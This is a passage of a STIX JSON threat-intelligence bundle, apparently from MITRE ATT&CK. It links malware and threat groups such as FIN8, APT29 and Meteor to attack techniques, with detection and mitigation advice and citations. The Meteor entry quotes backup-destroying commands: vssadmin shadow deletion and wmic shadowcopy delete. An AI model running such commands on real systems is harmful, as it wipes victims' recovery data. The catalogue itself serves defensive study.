2024)", "relationship_type": "uses", "source_ref": "malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cce5cf85-7187-40da-8fda-bd237ad1d05f", "type": "relationship", "created": "2022-03-30T14:26:51.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.858Z", "description": "Monitor for API calls that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ccec5b80-e16a-4379-926f-08c1c821497a", "type": "relationship", "created": "2020-01-24T14:32:40.526Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "source_name": "Beechey 2010"}, {"source_name": "Microsoft Windows Defender Application Control", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control", "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", "source_name": "Corio 2008"}, {"url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", "source_name": "TechNet Applocker vs SRP"}], "modified": "2021-08-23T20:25:22.088Z", "description": "Adversaries can replace accessibility features binaries with alternate binaries to execute this technique. Identify and block potentially malicious software executed through accessibility features functionality by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ccf98348-6578-4c88-874a-220de402e3d9", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-13T13:38:07.630Z", "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may use email rules to hide inbound emails in a compromised user's mailbox. Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries. In environments using Exchange, monitor logs for the creation or modification of mail transport rules.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cd001a55-ed41-4109-9090-41bebed9113a", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye Obfuscation June 2017", "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"}, {"source_name": "FireEye Know Your Enemy FIN8 Aug 2016", "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"}, {"source_name": "Bitdefender FIN8 July 2021", "description": "Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.", "url": "https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation"}, {"source_name": "Symantec FIN8 Jul 2023", "description": "Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-06T15:38:23.088Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061)'s malicious spearphishing payloads are executed as [PowerShell](https://attack.mitre.org/techniques/T1059/001). [FIN8](https://attack.mitre.org/groups/G0061) has also used [PowerShell](https://attack.mitre.org/techniques/T1059/001) for lateral movement and credential access.(Citation: FireEye Obfuscation June 2017)(Citation: Bitdefender FIN8 July 2021)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Symantec FIN8 Jul 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cd04ef35-9cac-4a56-af29-1ac6d8a0f1cf", "created": "2022-03-30T14:26:51.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-11T21:34:12.882Z", "description": "Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. Sysmon Event ID 7 (Image loaded) can be used to monitor the loading of DLLs into processes. This is a particularly noisy event and can generate a large volume of data, so we recommend baselining and filtering out any known benign processes and module loads to help reduce the number of events that are produced.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd07e694-b95b-4797-b2da-63704b4e8939", "type": "relationship", "created": "2019-06-18T18:40:33.809Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/", "source_name": "Flashpoint FIN 7 March 2019"}], "modified": "2020-03-28T21:44:14.183Z", "description": "[SQLRat](https://attack.mitre.org/software/S0390) has created scheduled tasks in <code>%appdata%\\Roaming\\Microsoft\\Templates\\</code>.(Citation: Flashpoint FIN 7 March 2019)", "relationship_type": "uses", "source_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd0f725b-ac60-4cc2-ae01-3b4f0d53e6e9", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Monitor and investigate attempts to modify ACLs and file/directory ownership.", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd10cc85-ccc4-4683-9421-9254a0d1259a", "type": "relationship", "created": "2022-03-30T14:26:51.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.841Z", "description": "Monitor for logged domain name system (DNS) registry data that may compromise third-party DNS servers that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "source_ref": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4", "target_ref": "attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cd1a91ea-4b59-4352-b902-941fbec64f29", "created": "2020-02-19T18:54:47.762Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Pfammatter - Hidden Inbox Rules", "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.", "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"}, {"source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2", "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.", "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"}, {"source_name": "Microsoft Manage Mail Flow Rules 2023", "description": "Microsoft. (2023, February 22). Manage mail flow rules in Exchange Online. Retrieved March 13, 2023.", "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/manage-mail-flow-rules"}, {"source_name": "Microsoft Get-InboxRule", "description": "Microsoft. (n.d.). Get-InboxRule. Retrieved June 10, 2021.", "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/get-inboxrule?view=exchange-ps"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-13T13:36:25.517Z", "description": "Enterprise email solutions have monitoring mechanisms that may include the ability to audit auto-forwarding rules on a regular basis.\n\nIn an Exchange environment, Administrators can use `Get-InboxRule` / `Remove-InboxRule` and `Get-TransportRule` / `Remove-TransportRule` to discover and remove potentially malicious auto-fowarding and transport rules.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Microsoft Manage Mail Flow Rules 2023)(Citation: Microsoft Get-InboxRule) In addition to this, a MAPI Editor can be utilized to examine the underlying database structure and discover any modifications/tampering of the properties of auto-forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules)", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cd1e409b-e981-4c83-a9ea-86705a45f92c", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "PWC Cloud Hopper Technical Annex April 2017", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", "url": "https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:14:18.639Z", "description": "[EvilGrab](https://attack.mitre.org/software/S0152) adds a Registry Run key for ctfmon.exe to establish persistence.(Citation: PWC Cloud Hopper Technical Annex April 2017)", "relationship_type": "uses", "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd228bad-f797-4d32-a510-d601b58553f6", "type": "relationship", "created": "2019-12-12T14:59:58.329Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2019-12-12T14:59:58.329Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", "target_ref": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd22a7a4-6f9f-481c-9a6d-6e1c665ed6cd", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT37 Feb 2018", "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[WINERACK](https://attack.mitre.org/software/S0219) can enumerate services.(Citation: FireEye APT37 Feb 2018)", "relationship_type": "uses", "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd24838b-45b2-405d-b932-9ac49eca8d4a", "type": "relationship", "created": "2019-02-18T18:08:05.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html", "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", "source_name": "Talos CCleanup 2017"}], "modified": "2020-03-16T21:25:53.520Z", "description": "[CCBkdr](https://attack.mitre.org/software/S0222) can use a DGA for [Fallback Channels](https://attack.mitre.org/techniques/T1008) if communications with the primary command and control server are lost.(Citation: Talos CCleanup 2017)", "relationship_type": "uses", "source_ref": "malware--b0f13390-cec7-4814-b37c-ccec01887faa", "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd283aa1-23f1-4516-9198-9d565bd4a431", "type": "relationship", "created": "2020-11-10T16:24:47.051Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DFIR Ryuk's Return October 2020", "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."}], "modified": "2020-11-10T16:24:47.051Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used taskkill.exe and net.exe to stop backup, catalog, cloud, and other services prior to network encryption.(Citation: DFIR Ryuk's Return October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd2842e8-13e8-4946-9f16-f0473c6ac205", "type": "relationship", "created": "2021-09-29T20:46:38.422Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}], "modified": "2021-09-29T20:46:38.422Z", "description": "[APT38](https://attack.mitre.org/groups/G0082)  has attempted to lure victims into enabling malicious macros within email attachments.(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd2a7854-1339-4f40-8ba1-be032dc5249e", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", "source_name": "F-Secure BlackEnergy 2014"}], "modified": "2020-06-02T16:14:00.319Z", "description": "The [BlackEnergy](https://attack.mitre.org/software/S0089) 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.(Citation: F-Secure BlackEnergy 2014)", "relationship_type": "uses", "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd302f73-dd1d-484e-bd96-ed8379f52c39", "type": "relationship", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.864Z", "description": "Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor newly executed processes that may abuse Python commands and scripts for execution.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--cd38ce72-655d-40f5-afbc-5a9ad0624a6a", "created": "2022-03-07T19:33:01.743Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Check Point Meteor Aug 2021", "url": "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/", "description": "Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Meteor](https://attack.mitre.org/software/S0688) can use `bcdedit` to delete different boot identifiers on a compromised host; it can also use `vssadmin.exe delete shadows /all /quiet` and `C:\\\\Windows\\\\system32\\\\wbem\\\\wmic.exe shadowcopy delete`.(Citation: Check Point Meteor Aug 2021)", "modified": "2022-04-09T15:23:57.943Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd45bd64-3793-49e7-82d0-9cdabf417d61", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east", "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", "source_name": "Symantec Leafminer July 2018"}], "modified": "2020-06-23T19:56:50.231Z", "description": "[Leafminer](https://attack.mitre.org/groups/G0077) infected victims using JavaScript code.(Citation: Symantec Leafminer July 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cd4655ac-8e31-4272-a944-9bf54074d3a0", "created": "2023-03-26T14:42:42.026Z", "revoked": false, "external_references": [{"source_name": "CrowdStrike StellarParticle January 2022", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}, {"source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.", "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T14:42:42.026Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) added credentials to OAuth Applications and Service Principals.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)(Citation: CrowdStrike StellarParticle January 2022)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd46796f-4a71-468a-b19f-87a13894d254", "type": "relationship", "created": "2021-08-31T14:28:20.425Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA21-200A APT40 July 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021."}], "modified": "2021-08-31T14:28:20.425Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has exfiltrated data over its C2 channel.(Citation: CISA AA21-200A APT40 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cd5799f3-8be5-4272-88db-626940136130", "created": "2020-05-21T14:55:00.290Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro TropicTrooper 2015", "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", "url": "https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"}, {"source_name": "TrendMicro Tropic Trooper May 2020", "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:24:22.274Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has detected a target system\u2019s OS version and system volume information.(Citation: TrendMicro TropicTrooper 2015)(Citation: TrendMicro Tropic Trooper May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd58d271-9ee2-45d6-9ca3-22ae8da639b5", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto OilRig May 2016", "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}], "modified": "2020-03-16T16:55:39.630Z", "description": "A [Helminth](https://attack.mitre.org/software/S0170) VBScript receives a batch script to execute a set of commands in a command prompt.(Citation: Palo Alto OilRig May 2016)", "relationship_type": "uses", "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd5d323c-5ec5-4bef-8b8f-2d975a44cbcb", "type": "relationship", "created": "2020-11-10T19:09:21.381Z", 